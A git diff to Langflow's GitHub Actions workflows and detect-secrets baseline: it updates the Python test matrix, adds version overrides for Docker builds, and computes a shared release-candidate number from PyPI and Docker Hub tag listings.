diff --git a/.github/workflows/cross-platform-test.md b/.github/workflows/cross-platform-test.md index 597949c739..2a8d0a6cda 100644 --- a/.github/workflows/cross-platform-test.md +++ b/.github/workflows/cross-platform-test.md @@ -58,9 +58,14 @@ jobs: - **macOS**: Intel (AMD64), Apple Silicon (ARM64) - **Windows**: AMD64 - **Python versions**: - - **All platforms**: 3.10, 3.12, and 3.13 - - **Stability**: 3.10 and 3.12 are required to pass (blocking) - - **Preview**: 3.13 testing is optional (non-blocking) to monitor ecosystem readiness + - **All platforms**: 3.10, 3.12, 3.13, and 3.14 + - **Stability**: 3.10, 3.12, and 3.13 are required to pass (blocking) + - **Preview**: 3.14 testing is optional (non-blocking) to monitor ecosystem readiness + - **Note**: macOS Intel (x86_64) is tested only on Python 3.12. macOS x86_64 is + being dropped across the ecosystem — PyTorch ships no x86_64 wheels for py>=3.13 + and onnxruntime shipped none after 1.23 — and langflow requires `onnxruntime>=1.26` + on py>=3.14, so macOS Intel + py>=3.14 cannot resolve. The 3.13 (blocking) and + 3.14 (preview) sets therefore run on Linux, Windows, and macOS arm64 only ## What Gets Tested @@ -103,8 +108,8 @@ gh workflow run cross-platform-test.yml \ - **Timeout**: Configurable timeout with proper cross-platform handling ### Platform-Specific Optimizations -- **Stable versions**: Python 3.10 and 3.12 provide reliable package ecosystem support -- **Preview testing**: Python 3.13 runs as non-blocking to monitor when it becomes viable +- **Stable versions**: Python 3.10, 3.12, and 3.13 provide reliable package ecosystem support +- **Preview testing**: Python 3.14 runs as non-blocking to monitor when it becomes viable - **Virtual Environments**: Uses `uv venv --seed` for consistent pip availability ### Workflow Architecture @@ -187,9 +192,11 @@ error: command '/usr/bin/clang++' failed with exit code 1 3. **macOS clang** doesn't support `-march=native` flag used by `chroma-hnswlib` compilation **Current Status**: -- **Stable testing**: Python 3.10 and 3.12 are required to pass (blocking jobs) -- **Preview testing**: Python 3.13 runs as non-blocking to monitor ecosystem readiness -- **Compilation issues**: Python 3.13 may still fail due to `chroma-hnswlib` but won't block releases +- **Stable testing**: Python 3.10, 3.12, and 3.13 are required to pass (blocking jobs) +- **Preview testing**: Python 3.14 runs as non-blocking to monitor ecosystem readiness +- **Compilation issues**: the historical `chroma-hnswlib` failure is avoided on the tested install + paths (workspace/source builds exclude `chromadb`); a similar upstream issue surfacing on the + preview (3.14) tier stays non-blocking - **Manual testing**: Source builds now use the same dependency transformation as nightly builds for testing parity **Files Involved**: diff --git a/.github/workflows/cross-platform-test.yml b/.github/workflows/cross-platform-test.yml index 41fa298eae..cb10538951 100644 --- a/.github/workflows/cross-platform-test.yml +++ b/.github/workflows/cross-platform-test.yml @@ -178,6 +178,23 @@ jobs: arch: amd64 runner: windows-latest python-version: "3.12" + # Python 3.13 - graduated from experimental to stable (blocking). + # macOS Intel (amd64) is intentionally omitted here: like 3.10/3.12 above + # it stays on the costly macos-latest-large runner only at 3.12. Intel + # coverage for newer Python continues (non-blocking) in the experimental + # 3.14 set below. + - os: linux + arch: amd64 + runner: ubuntu-latest + python-version: "3.13" + - os: macos + arch: arm64 + runner: macos-latest + python-version: "3.13" + - os: windows + arch: amd64 + runner: windows-latest + python-version: "3.13" steps: - name: Determine install method @@ -454,23 +471,26 @@ jobs: fail-fast: false matrix: include: - # Python 3.13 - Experimental + # Python 3.14 - Experimental (non-blocking) to monitor ecosystem readiness. + # macOS Intel (x86_64) is intentionally omitted: langflow requires + # onnxruntime>=1.26 on Python >=3.14 (pyproject.toml), but onnxruntime + # dropped macOS x86_64 wheels at 1.24 — so macOS Intel + py3.14 is + # permanently unsatisfiable (older onnxruntime that still ships macOS + # x86_64 wheels has no cp314 ABI). macOS Intel resolves fine through 3.13; + # arm64 has cp314 wheels. Running it would only burn the costly + # macos-latest-large runner on a guaranteed, no-signal failure. - os: linux arch: amd64 runner: ubuntu-latest - python-version: "3.13" + python-version: "3.14" - os: windows arch: amd64 runner: windows-latest - python-version: "3.13" - - os: macos - arch: amd64 - runner: macos-latest-large - python-version: "3.13" + python-version: "3.14" - os: macos arch: arm64 runner: macos-latest - python-version: "3.13" + python-version: "3.14" steps: - name: Determine install method @@ -615,6 +635,19 @@ jobs: - name: Force reinstall local wheels to prevent downgrades (Windows) if: steps.install-method.outputs.method == 'wheel' && matrix.os == 'windows' run: | + # Expose the local wheel dirs so dependency re-resolution (the + # pre-release path below drops --no-deps) can find the local + # pre-release lfx/base wheels. Without these, uv re-resolves + # langflow-base's `lfx>=X.Y.Zrc0` constraint against PyPI only, where + # the matching rc/dev wheel is not published yet, and fails with + # "No solution found when resolving dependencies". + FIND_LINKS=() + for wheel_dir in ./sdk-dist ./lfx-dist ./base-dist ./bundles-dist; do + if [ -d "$wheel_dir" ]; then + FIND_LINKS+=(--find-links "$wheel_dir") + fi + done + # Reinstall LFX if it was provided if [ -n "${{ inputs.lfx-artifact-name || needs.build-if-needed.outputs.lfx-artifact-name }}" ]; then LFX_WHEEL=$(find ./lfx-dist -name "*.whl" -type f | head -1) @@ -633,7 +666,7 @@ jobs: if [ "${{ inputs.pre_release }}" = "true" ]; then NO_DEPS="" fi - uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit --python ./test-env/Scripts/python.exe "${INSTALL_WHEELS[@]}" + uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit "${FIND_LINKS[@]}" --python ./test-env/Scripts/python.exe "${INSTALL_WHEELS[@]}" fi fi @@ -645,13 +678,26 @@ jobs: if [ "${{ inputs.pre_release }}" = "true" ]; then NO_DEPS="" fi - uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit --python ./test-env/Scripts/python.exe "$BASE_WHEEL" + uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit "${FIND_LINKS[@]}" --python ./test-env/Scripts/python.exe "$BASE_WHEEL" fi shell: bash - name: Force reinstall local wheels to prevent downgrades (Unix) if: steps.install-method.outputs.method == 'wheel' && matrix.os != 'windows' run: | + # Expose the local wheel dirs so dependency re-resolution (the + # pre-release path below drops --no-deps) can find the local + # pre-release lfx/base wheels. Without these, uv re-resolves + # langflow-base's `lfx>=X.Y.Zrc0` constraint against PyPI only, where + # the matching rc/dev wheel is not published yet, and fails with + # "No solution found when resolving dependencies". + FIND_LINKS=() + for wheel_dir in ./sdk-dist ./lfx-dist ./base-dist ./bundles-dist; do + if [ -d "$wheel_dir" ]; then + FIND_LINKS+=(--find-links "$wheel_dir") + fi + done + # Reinstall LFX if it was provided if [ -n "${{ inputs.lfx-artifact-name || needs.build-if-needed.outputs.lfx-artifact-name }}" ]; then LFX_WHEEL=$(find ./lfx-dist -name "*.whl" -type f | head -1) @@ -670,7 +716,7 @@ jobs: if [ "${{ inputs.pre_release }}" = "true" ]; then NO_DEPS="" fi - uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit --python ./test-env/bin/python "${INSTALL_WHEELS[@]}" + uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit "${FIND_LINKS[@]}" --python ./test-env/bin/python "${INSTALL_WHEELS[@]}" fi fi @@ -682,7 +728,7 @@ jobs: if [ "${{ inputs.pre_release }}" = "true" ]; then NO_DEPS="" fi - uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit --python ./test-env/bin/python "$BASE_WHEEL" + uv pip install --force-reinstall $NO_DEPS --prerelease=if-necessary-or-explicit "${FIND_LINKS[@]}" --python ./test-env/bin/python "$BASE_WHEEL" fi shell: bash @@ -826,9 +872,9 @@ jobs: if [ "$experimental_result" = "success" ]; then if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then if [ -n "${{ inputs.langflow-version }}" ]; then - echo "✅ All PyPI installation tests passed (including Python 3.13)" + echo "✅ All PyPI installation tests passed (including Python 3.14)" else - echo "✅ All source build and installation tests passed (including Python 3.13)" + echo "✅ All source build and installation tests passed (including Python 3.14)" fi else echo "✅ All cross-platform tests passed - PyPI upload can proceed" @@ -836,17 +882,17 @@ jobs: else if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then if [ -n "${{ inputs.langflow-version }}" ]; then - echo "✅ PyPI installation tests passed (Python 3.13 experimental failures are acceptable)" + echo "✅ PyPI installation tests passed (Python 3.14 experimental failures are acceptable)" else - echo "✅ Source build and installation tests passed (Python 3.13 experimental failures are acceptable)" + echo "✅ Source build and installation tests passed (Python 3.14 experimental failures are acceptable)" fi else - echo "✅ Cross-platform tests passed - Python 3.13 experimental failures are acceptable - PyPI upload can proceed" + echo "✅ Cross-platform tests passed - Python 3.14 experimental failures are acceptable - PyPI upload can proceed" fi fi elif [ "$stable_result" = "failure" ]; then echo "❌ Critical platform tests failed - blocking release" - echo "Stable platforms (Python 3.10, 3.12) must pass for release" + echo "Stable platforms (Python 3.10, 3.12, 3.13) must pass for release" exit 1 elif [ "$stable_result" = "cancelled" ]; then echo "❌ Critical platform tests were cancelled" diff --git a/.github/workflows/docker-build-v2.yml b/.github/workflows/docker-build-v2.yml index 68d24a4a36..92c7e8f099 100644 --- a/.github/workflows/docker-build-v2.yml +++ b/.github/workflows/docker-build-v2.yml @@ -16,6 +16,11 @@ on: required: true type: string description: "Ref to check out (branch, tag, or commit). This is required -- it specifies where the source code for the release is located." + version_override: + required: false + type: string + default: "" + description: "Resolved version to use for image tags. When omitted, the workflow computes the version from the checked-out ref and registry history." push_to_registry: required: false type: boolean @@ -44,6 +49,11 @@ on: required: true type: string description: "Ref to check out (branch, tag, or commit). This is required -- it specifies where the source code for the release is located." + version_override: + description: "Resolved version to use for image tags. Leave blank to compute from the checked-out ref and registry history." + required: false + type: string + default: "" push_to_registry: description: "Whether to push images to registries. Set to false for testing builds without publishing." required: false @@ -81,10 +91,16 @@ jobs: version=$(uv tree 2>/dev/null | grep '^langflow-base' | cut -d' ' -f2 | sed 's/^v//') echo "Base version from pyproject.toml: $version" - if [ ${{inputs.pre_release}} == "true" ]; then - last_released_version=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -E '^base-.*\.rc[0-9]+' | grep -vE '\-(amd64|arm64)$' | sed 's/^base-//' | sort -V | tail -n 1) - version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" "$last_released_version")" - echo "Latest base pre-release version: $last_released_version" + if [ -n "${{ inputs.version_override }}" ]; then + version="${{ inputs.version_override }}" + echo "Using version override: $version" + if [ ${{inputs.pre_release}} != "true" ]; then + last_released_version=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -E '^base-' | grep -vE '\-(amd64|arm64)$' | grep -v 'latest' | sed 's/^base-//' | sort -V | tail -n 1) + echo "Latest base release version: $last_released_version" + fi + elif [ ${{inputs.pre_release}} == "true" ]; then + released_versions=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -E '^base-' | grep -vE '\-(amd64|arm64)$' | sed 's/^base-//' || true) + version="$(printf '%s\n' "$released_versions" | uv run ./scripts/ci/langflow_pre_release_tag.py "$version" -)" echo "Base pre-release version to be released: $version" else last_released_version=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -E '^base-' | grep -vE '\-(amd64|arm64)$' | grep -v 'latest' | sed 's/^base-//' | sort -V | tail -n 1) @@ -127,10 +143,16 @@ jobs: version=$(uv tree 2>/dev/null | grep -E '^langflow(-nightly)?[[:space:]]' | cut -d' ' -f2 | sed 's/^v//') echo "Main version from pyproject.toml: $version" - if [ ${{inputs.pre_release}} == "true" ]; then - last_released_version=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -E '\.rc[0-9]+' | grep -v '^base-' | grep -vE '\-(amd64|arm64)$' | sort -V | tail -n 1) - version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" "$last_released_version")" - echo "Latest main pre-release version: $last_released_version" + if [ -n "${{ inputs.version_override }}" ]; then + version="${{ inputs.version_override }}" + echo "Using version override: $version" + if [ ${{inputs.pre_release}} != "true" ]; then + last_released_version=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -v '^base-' | grep -vE '\-(amd64|arm64)$' | grep -v 'latest' | sort -V | tail -n 1) + echo "Latest main release version: $last_released_version" + fi + elif [ ${{inputs.pre_release}} == "true" ]; then + released_versions=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -v '^base-' | grep -vE '\-(amd64|arm64)$' || true) + version="$(printf '%s\n' "$released_versions" | uv run ./scripts/ci/langflow_pre_release_tag.py "$version" -)" echo "Main pre-release version to be released: $version" else last_released_version=$(curl -s "https://registry.hub.docker.com/v2/repositories/langflowai/langflow/tags?page_size=100" | jq -r '.results[].name' | grep -v '^base-' | grep -vE '\-(amd64|arm64)$' | grep -v 'latest' | sort -V | tail -n 1) @@ -335,7 +357,7 @@ jobs: context: . push: ${{ inputs.push_to_registry }} build-args: | - LANGFLOW_IMAGE=langflowai/langflow:${{ steps.version.outputs.version }}-${{ matrix.arch }} + LANGFLOW_IMAGE=langflowai/langflow:${{ needs.determine-main-version.outputs.version }}-${{ matrix.arch }} file: ./docker/build_and_push_backend.Dockerfile tags: ${{ steps.tags.outputs.docker_tags }} platforms: linux/${{ matrix.arch }} @@ -356,7 +378,7 @@ jobs: context: . push: ${{ inputs.push_to_registry }} build-args: | - LANGFLOW_IMAGE=ghcr.io/langflow-ai/langflow:${{ steps.version.outputs.version }}-${{ matrix.arch }} + LANGFLOW_IMAGE=ghcr.io/langflow-ai/langflow:${{ needs.determine-main-version.outputs.version }}-${{ matrix.arch }} file: ./docker/build_and_push_backend.Dockerfile tags: ${{ steps.tags.outputs.ghcr_tags }} platforms: linux/${{ matrix.arch }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 4820bbef29..c186ed8a98 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -177,9 +177,164 @@ jobs: echo "✅ Release dependencies validated successfully." + determine-rc-number: + name: Determine Shared RC Number + needs: [validate-tag, validate-dependencies] + runs-on: ubuntu-latest + outputs: + rc_number: ${{ steps.rc.outputs.rc_number || steps.stable.outputs.rc_number }} + steps: + - name: Use stable RC number + id: stable + if: ${{ !inputs.pre_release }} + run: | + echo "rc_number=0" >> "$GITHUB_OUTPUT" + echo "Not a pre-release; shared rc number is 0." + + - name: Checkout code + if: ${{ inputs.pre_release }} + uses: actions/checkout@v6 + with: + ref: ${{ inputs.release_tag }} + + - name: Setup Environment + if: ${{ inputs.pre_release }} + uses: astral-sh/setup-uv@v6 + with: + enable-cache: true + cache-dependency-glob: "uv.lock" + python-version: "3.13" + prune-cache: false + + - name: Determine shared pre-release RC number + id: rc + if: ${{ inputs.pre_release }} + shell: bash + run: | + set -euo pipefail + + read_pyproject_version() { + python3 - "$1" <<'PY' + import pathlib + import sys + import tomllib + + data = tomllib.loads(pathlib.Path(sys.argv[1]).read_text()) + print(data["project"]["version"]) + PY + } + + fetch_pypi_versions() { + local package_name="$1" + local output_file="$2" + local response_file + response_file="$(mktemp)" + local status + status=$(curl --retry 3 --retry-delay 2 --retry-connrefused -sS -o "$response_file" -w "%{http_code}" "https://pypi.org/pypi/${package_name}/json") + if [ "$status" = "404" ]; then + : > "$output_file" + return + fi + if [ "$status" != "200" ]; then + echo "Failed to fetch PyPI releases for ${package_name}: HTTP ${status}" >&2 + cat "$response_file" >&2 || true + exit 1 + fi + jq -r '.releases | keys[]' "$response_file" > "$output_file" + } + + fetch_docker_tags() { + local repository="$1" + local output_file="$2" + local response_file + response_file="$(mktemp)" + local status + status=$(curl --retry 3 --retry-delay 2 --retry-connrefused -sS -o "$response_file" -w "%{http_code}" "https://registry.hub.docker.com/v2/repositories/${repository}/tags?page_size=100") + if [ "$status" != "200" ]; then + echo "Failed to fetch Docker tags for ${repository}: HTTP ${status}" >&2 + cat "$response_file" >&2 || true + exit 1 + fi + jq -r '.results[].name' "$response_file" > "$output_file" + } + + max_rc=0 + consider_versions() { + local label="$1" + local base_version="$2" + local versions_file="$3" + local rc_number + rc_number=$(uv run ./scripts/ci/langflow_pre_release_tag.py "$base_version" --print-rc-number - < "$versions_file") + echo "${label}: next rc number for ${base_version} is ${rc_number}" + if [ "$rc_number" -gt "$max_rc" ]; then + max_rc="$rc_number" + fi + } + + tmp_dir="$(mktemp -d)" + + if [ "${{ inputs.release_package_main }}" = "true" ]; then + version="$(read_pyproject_version pyproject.toml)" + fetch_pypi_versions "langflow" "$tmp_dir/langflow-pypi.txt" + consider_versions "PyPI langflow" "$version" "$tmp_dir/langflow-pypi.txt" + fi + + if [ "${{ inputs.release_package_base }}" = "true" ]; then + version="$(read_pyproject_version src/backend/base/pyproject.toml)" + fetch_pypi_versions "langflow-base" "$tmp_dir/langflow-base-pypi.txt" + consider_versions "PyPI langflow-base" "$version" "$tmp_dir/langflow-base-pypi.txt" + fi + + if [ "${{ inputs.release_lfx }}" = "true" ]; then + version="$(read_pyproject_version src/lfx/pyproject.toml)" + fetch_pypi_versions "lfx" "$tmp_dir/lfx-pypi.txt" + consider_versions "PyPI lfx" "$version" "$tmp_dir/lfx-pypi.txt" + fi + + if [ "${{ inputs.release_sdk || inputs.release_lfx }}" = "true" ]; then + version="$(read_pyproject_version src/sdk/pyproject.toml)" + fetch_pypi_versions "langflow-sdk" "$tmp_dir/langflow-sdk-pypi.txt" + consider_versions "PyPI langflow-sdk" "$version" "$tmp_dir/langflow-sdk-pypi.txt" + fi + + if [ "${{ inputs.release_bundles }}" = "true" ]; then + for pyproject in src/bundles/*/pyproject.toml; do + package_name=$(python3 - "$pyproject" <<'PY' + import pathlib + import sys + import tomllib + + data = tomllib.loads(pathlib.Path(sys.argv[1]).read_text()) + print(data["project"]["name"]) + PY + ) + version="$(read_pyproject_version "$pyproject")" + output_file="$tmp_dir/${package_name}-pypi.txt" + fetch_pypi_versions "$package_name" "$output_file" + consider_versions "PyPI ${package_name}" "$version" "$output_file" + done + fi + + if [ "${{ inputs.build_docker_main }}" = "true" ]; then + version="$(read_pyproject_version pyproject.toml)" + fetch_docker_tags "langflowai/langflow" "$tmp_dir/langflow-docker.txt" + grep -v '^base-' "$tmp_dir/langflow-docker.txt" | grep -vE '\-(amd64|arm64)$' > "$tmp_dir/langflow-docker-release-tags.txt" || true + consider_versions "Docker langflowai/langflow" "$version" "$tmp_dir/langflow-docker-release-tags.txt" + fi + + if [ "${{ inputs.build_docker_base }}" = "true" ]; then + version="$(read_pyproject_version src/backend/base/pyproject.toml)" + fetch_docker_tags "langflowai/langflow" "$tmp_dir/langflow-base-docker.txt" + grep -E '^base-' "$tmp_dir/langflow-base-docker.txt" | grep -vE '\-(amd64|arm64)$' | sed 's/^base-//' > "$tmp_dir/langflow-base-docker-release-tags.txt" || true + consider_versions "Docker langflowai/langflow base" "$version" "$tmp_dir/langflow-base-docker-release-tags.txt" + fi + + echo "Shared pre-release rc number: ${max_rc}" + echo "rc_number=${max_rc}" >> "$GITHUB_OUTPUT" + determine-base-version: name: Determine Base Version - needs: [validate-tag, validate-dependencies] + needs: [validate-tag, validate-dependencies, determine-rc-number] runs-on: ubuntu-latest outputs: version: ${{ steps.version.outputs.version }} @@ -212,16 +367,16 @@ jobs: echo "Base version from pyproject.toml: $version" if [ ${{inputs.pre_release}} == "true" ]; then - last_released_version=$(curl -s "https://pypi.org/pypi/langflow-base/json" | jq -r '.releases | keys | .[]' | grep -E '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) - version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" "$last_released_version")" - echo "Latest base pre-release version: $last_released_version" + rc_number="${{ needs.determine-rc-number.outputs.rc_number }}" + version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" --rc-number "$rc_number")" + echo "Shared release candidate number: rc$rc_number" echo "Base pre-release version to be released: $version" else last_released_version=$(curl -s "https://pypi.org/pypi/langflow-base/json" | jq -r '.releases | keys | .[]' | grep -vE '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) echo "Latest base release version: $last_released_version" fi - if [ "$version" = "$last_released_version" ]; then + if [ "$version" = "$last_released_version" ] && [ "${{ inputs.release_package_base }}" = "true" ]; then echo "Base pypi version $version is already released. Skipping release." echo skipped=true >> $GITHUB_OUTPUT exit 1 @@ -232,7 +387,7 @@ jobs: determine-main-version: name: Determine Main Version - needs: [validate-tag, validate-dependencies] + needs: [validate-tag, validate-dependencies, determine-rc-number] runs-on: ubuntu-latest outputs: version: ${{ steps.version.outputs.version }} @@ -261,16 +416,16 @@ jobs: echo "Main version from pyproject.toml: $version" if [ ${{inputs.pre_release}} == "true" ]; then - last_released_version=$(curl -s "https://pypi.org/pypi/langflow/json" | jq -r '.releases | keys | .[]' | grep -E '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) - version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" "$last_released_version")" - echo "Latest main pre-release version: $last_released_version" + rc_number="${{ needs.determine-rc-number.outputs.rc_number }}" + version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" --rc-number "$rc_number")" + echo "Shared release candidate number: rc$rc_number" echo "Main pre-release version to be released: $version" else last_released_version=$(curl -s "https://pypi.org/pypi/langflow/json" | jq -r '.releases | keys | .[]' | grep -vE '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) echo "Latest main release version: $last_released_version" fi - if [ "$version" = "$last_released_version" ]; then + if [ "$version" = "$last_released_version" ] && [ "${{ inputs.release_package_main }}" = "true" ]; then echo "Main pypi version $version is already released. Skipping release." echo skipped=true >> $GITHUB_OUTPUT exit 1 @@ -281,7 +436,7 @@ jobs: determine-lfx-version: name: Determine LFX Version - needs: [validate-tag, validate-dependencies] + needs: [validate-tag, validate-dependencies, determine-rc-number] runs-on: ubuntu-latest outputs: version: ${{ steps.version.outputs.version }} @@ -310,9 +465,9 @@ jobs: echo "LFX version from pyproject.toml: $version" if [ ${{inputs.pre_release}} == "true" ]; then - last_released_version=$(curl -s "https://pypi.org/pypi/lfx/json" | jq -r '.releases | keys | .[]' | grep -E '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) - version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" "$last_released_version")" - echo "Latest LFX pre-release version: $last_released_version" + rc_number="${{ needs.determine-rc-number.outputs.rc_number }}" + version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" --rc-number "$rc_number")" + echo "Shared release candidate number: rc$rc_number" echo "LFX pre-release version to be released: $version" else last_released_version=$(curl -s "https://pypi.org/pypi/lfx/json" | jq -r '.releases | keys | .[]' | grep -vE '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) @@ -330,7 +485,7 @@ jobs: determine-sdk-version: name: Determine SDK Version - needs: [validate-tag, validate-dependencies] + needs: [validate-tag, validate-dependencies, determine-rc-number] if: ${{ inputs.release_sdk || inputs.release_lfx }} runs-on: ubuntu-latest outputs: @@ -368,11 +523,17 @@ jobs: if [ "$pypi_response" = "404" ]; then echo "langflow-sdk has never been published to PyPI. This will be the first release." last_released_version="" + if [ ${{inputs.pre_release}} == "true" ]; then + rc_number="${{ needs.determine-rc-number.outputs.rc_number }}" + version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" --rc-number "$rc_number")" + echo "Shared release candidate number: rc$rc_number" + echo "SDK pre-release version to be released: $version" + fi else if [ ${{inputs.pre_release}} == "true" ]; then - last_released_version=$(curl -s "https://pypi.org/pypi/langflow-sdk/json" | jq -r '.releases | keys | .[]' | grep -E '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) - version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" "$last_released_version")" - echo "Latest SDK pre-release version: $last_released_version" + rc_number="${{ needs.determine-rc-number.outputs.rc_number }}" + version="$(uv run ./scripts/ci/langflow_pre_release_tag.py "$version" --rc-number "$rc_number")" + echo "Shared release candidate number: rc$rc_number" echo "SDK pre-release version to be released: $version" else last_released_version=$(curl -s "https://pypi.org/pypi/langflow-sdk/json" | jq -r '.releases | keys | .[]' | grep -vE '(a|b|rc|dev|alpha|beta)' | sort -V | tail -n 1) @@ -862,7 +1023,7 @@ jobs: build-bundles: name: Build Langflow Bundles - needs: [build-lfx, determine-lfx-version] + needs: [build-lfx, determine-lfx-version, determine-rc-number] if: | always() && !cancelled() && @@ -888,6 +1049,26 @@ jobs: prune-cache: false - name: Install the project run: uv sync + - name: Set bundle versions for pre-release + if: ${{ inputs.pre_release }} + run: | + RC_NUMBER="${{ needs.determine-rc-number.outputs.rc_number }}" + echo "Setting bundle pre-release versions with shared rc number: rc$RC_NUMBER" + for pyproject in src/bundles/*/pyproject.toml; do + CURRENT_VERSION=$(python3 - "$pyproject" <<'PY' + import pathlib + import sys + import tomllib + + data = tomllib.loads(pathlib.Path(sys.argv[1]).read_text()) + print(data["project"]["version"]) + PY + ) + VERSION=$(uv run ./scripts/ci/langflow_pre_release_tag.py "$CURRENT_VERSION" --rc-number "$RC_NUMBER") + sed -i.bak "0,/^version = /s|^version = .*|version = \"$VERSION\"|" "$pyproject" + rm -f "${pyproject}.bak" + grep "^version" "$pyproject" | sed "s|^| ${pyproject}: |" + done - name: Relax bundle lfx floor for pre-release if: ${{ inputs.pre_release }} run: | @@ -1154,72 +1335,78 @@ jobs: call_docker_build_base: name: Call Docker Build Workflow for Langflow Base if: ${{ inputs.build_docker_base }} - needs: [ci] + needs: [ci, determine-base-version] uses: ./.github/workflows/docker-build-v2.yml with: ref: ${{ inputs.release_tag }} release_type: base pre_release: ${{ inputs.pre_release }} + version_override: ${{ needs.determine-base-version.outputs.version }} push_to_registry: ${{ !inputs.dry_run }} secrets: inherit call_docker_build_main: name: Call Docker Build Workflow for Langflow if: ${{ inputs.build_docker_main }} - needs: [ci] + needs: [ci, determine-main-version] uses: ./.github/workflows/docker-build-v2.yml with: ref: ${{ inputs.release_tag }} release_type: main pre_release: ${{ inputs.pre_release }} + version_override: ${{ needs.determine-main-version.outputs.version }} push_to_registry: ${{ !inputs.dry_run }} secrets: inherit call_docker_build_main_backend: name: Call Docker Build Workflow for Langflow Backend if: ${{ inputs.build_docker_main && !inputs.dry_run }} - needs: [call_docker_build_main] + needs: [call_docker_build_main, determine-main-version] uses: ./.github/workflows/docker-build-v2.yml with: ref: ${{ inputs.release_tag }} release_type: main-backend pre_release: ${{ inputs.pre_release }} + version_override: ${{ needs.determine-main-version.outputs.version }} push_to_registry: ${{ !inputs.dry_run }} secrets: inherit call_docker_build_main_frontend: name: Call Docker Build Workflow for Langflow Frontend if: ${{ inputs.build_docker_main && !inputs.dry_run }} - needs: [call_docker_build_main] + needs: [call_docker_build_main, determine-main-version] uses: ./.github/workflows/docker-build-v2.yml with: ref: ${{ inputs.release_tag }} release_type: main-frontend pre_release: ${{ inputs.pre_release }} + version_override: ${{ needs.determine-main-version.outputs.version }} push_to_registry: ${{ !inputs.dry_run }} secrets: inherit call_docker_build_main_ep: name: Call Docker Build Workflow for Langflow with Entrypoint if: ${{ inputs.build_docker_main }} - needs: [ci] + needs: [ci, determine-main-version] uses: ./.github/workflows/docker-build-v2.yml with: ref: ${{ inputs.release_tag }} release_type: main-ep pre_release: ${{ inputs.pre_release }} + version_override: ${{ needs.determine-main-version.outputs.version }} push_to_registry: ${{ !inputs.dry_run }} secrets: inherit call_docker_build_main_all: name: Call Docker Build Workflow for langflow-all if: ${{ inputs.build_docker_main }} - needs: [ci] + needs: [ci, determine-main-version] uses: ./.github/workflows/docker-build-v2.yml with: ref: ${{ inputs.release_tag }} release_type: main-all pre_release: ${{ inputs.pre_release }} + version_override: ${{ needs.determine-main-version.outputs.version }} push_to_registry: ${{ !inputs.dry_run }} secrets: inherit diff --git a/.secrets.baseline b/.secrets.baseline index a31cc7923d..71a0538fe3 100644 --- a/.secrets.baseline +++ b/.secrets.baseline @@ -177,7 +177,7 @@ "filename": ".github/workflows/release.yml", "hashed_secret": "3e26d6750975d678acb8fa35a0f69237881576b0", "is_verified": false, - "line_number": 403, + "line_number": 564, "is_secret": false } ], @@ -200,6 +200,24 @@ "line_number": 23 } ], + "SECURITY.md": [ + { + "type": "Basic Auth Credentials", + "filename": "SECURITY.md", + "hashed_secret": "d67b0bfe20b56dac12b19258dcfe74b0998d8eeb", + "is_verified": false, + "line_number": 153, + "is_secret": false + }, + { + "type": "Secret Keyword", + "filename": "SECURITY.md", + "hashed_secret": "e57eb248dee276a7a8931d338105a49725dd6ec7", + "is_verified": false, + "line_number": 154, + "is_secret": false + } + ], "deploy/.env.example": [ { "type": "Basic Auth Credentials", @@ -249,6 +267,72 @@ "line_number": 22 } ], + "docs/docs/API-Reference/api-flows-run.mdx": [ + { + "type": "Secret Keyword", + "filename": "docs/docs/API-Reference/api-flows-run.mdx", + "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", + "is_verified": false, + "line_number": 433, + "is_secret": false + } + ], + "docs/docs/API-Reference/api-monitor.mdx": [ + { + "type": "Secret Keyword", + "filename": "docs/docs/API-Reference/api-monitor.mdx", + "hashed_secret": "d622736b5a599d5f9798164134b84e1bd96c48fe", + "is_verified": false, + "line_number": 704, + "is_secret": false + } + ], + "docs/docs/API-Reference/api-openai-responses.mdx": [ + { + "type": "Secret Keyword", + "filename": "docs/docs/API-Reference/api-openai-responses.mdx", + "hashed_secret": "f8f0b44da6dd51f3e5db5129c12a1b95ec71c2d9", + "is_verified": false, + "line_number": 45, + "is_secret": false + } + ], + 